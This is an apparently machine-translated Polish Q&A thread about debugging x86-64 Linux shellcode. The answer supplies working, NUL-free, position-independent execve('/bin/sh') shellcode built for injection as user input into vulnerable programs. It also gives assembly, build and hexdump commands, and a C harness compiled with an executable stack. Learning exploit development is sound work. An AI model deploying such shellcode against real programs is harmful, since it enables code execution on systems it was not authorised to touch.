Shellcode: niedozwolona instrukcja

Oct 19 2020

Jestem nowy w rozwoju szelkodu i nie mogę zrozumieć, dlaczego wygenerowany szelkod nie działa zgodnie z oczekiwaniami.

Kod asemblera:

Na podstawie odpowiedzi na moje poprzednie pytanie.

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

Kod testu C:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Wynik:

Illegal instruction

Szczegóły: Kali Linux GNU / Linux i386 x86_64

Odpowiedzi

2 MichaelPetch Oct 19 2020 at 01:02

Problem z twoim kodem polega na tym, że wygenerowany ciąg powłoki nie zawiera żadnych danych. Dane zawierają wskaźniki bezwzględne, więc nie są niezależne od pozycji, więc nie zadziałałyby, gdybyś je przeniosło .texti uwzględniło. Po uruchomieniu wewnątrz innego programu, tak jak robisz to w kodzie C, program spróbuje znaleźć dane, które nie istnieją i w ustalonych lokalizacjach pamięci, które nie mają zastosowania do programu, który można wykorzystać w środku.

Myślę, że możesz mieć inny problem powodujący niezgodne z prawem instrukcje . Nie pokazujesz, jak budujesz swój program w C , ale zastanawiam się, czy jest on 32-bitowy, a twój kod powłoki jest 64-bitowy. Zaczynam myśleć, że twój program w C mógł zostać skompilowany jako program 32-bitowy, a niedozwolona instrukcja może wynikać z tego, że nie możesz niezawodnie uruchomić 64-bitowego kodu (kodu powłoki) w programie 32-bitowym. Na przykład SYSCALLinstrukcja jest nieprawidłowym kodem operacyjnym w programie 32-bitowym na procesorach innych niż AMD. To tylko przypuszczenie, przy braku dalszych szczegółów o tym, jak kompilujesz / asemblujesz / łączysz swój kod powłoki i program w C.


Będziesz musiał wygenerować kod niezależny od pozycji (PIC), aby mógł działać w dowolnym miejscu po załadowaniu na stosie. Twoje dane będą musiały zostać umieszczone w segmencie z kodem. Kod musi również unikać generowania znaku NUL (0x00), ponieważ spowodowałoby to przedwczesne zakończenie łańcucha, gdyby został podany jako dane wejściowe użytkownika do rzeczywistego programu, który można wykorzystać.

Wersja Twojego kodu, która mogłaby zostać wykorzystana do takich celów, mogłaby wyglądać następująco:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

Możesz wygenerować ciąg w stylu C za pomocą:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

Powyższe hexdumppolecenie wyświetli:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

Zauważysz, że nie ma \x00znaków w przeciwieństwie do twojego kodu. Możesz użyć tego ciągu bezpośrednio w programie w C , takim jak:

exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

To musi zostać skompilowane i połączone z wykonywalnym stosem:

gcc -zexecstack exploit.c -o exploit

strace ./exploitwygeneruje EXECVEwywołanie systemowe podobne do:

execve („/ bin / sh”, [„/ bin / sh”, „-c”, „ls”], NULL) = 0


Uwaga : osobiście zbudowałbym ciągi programowo na stosie podobnie do kodu w innej odpowiedzi Stackoverflow, którą napisałem.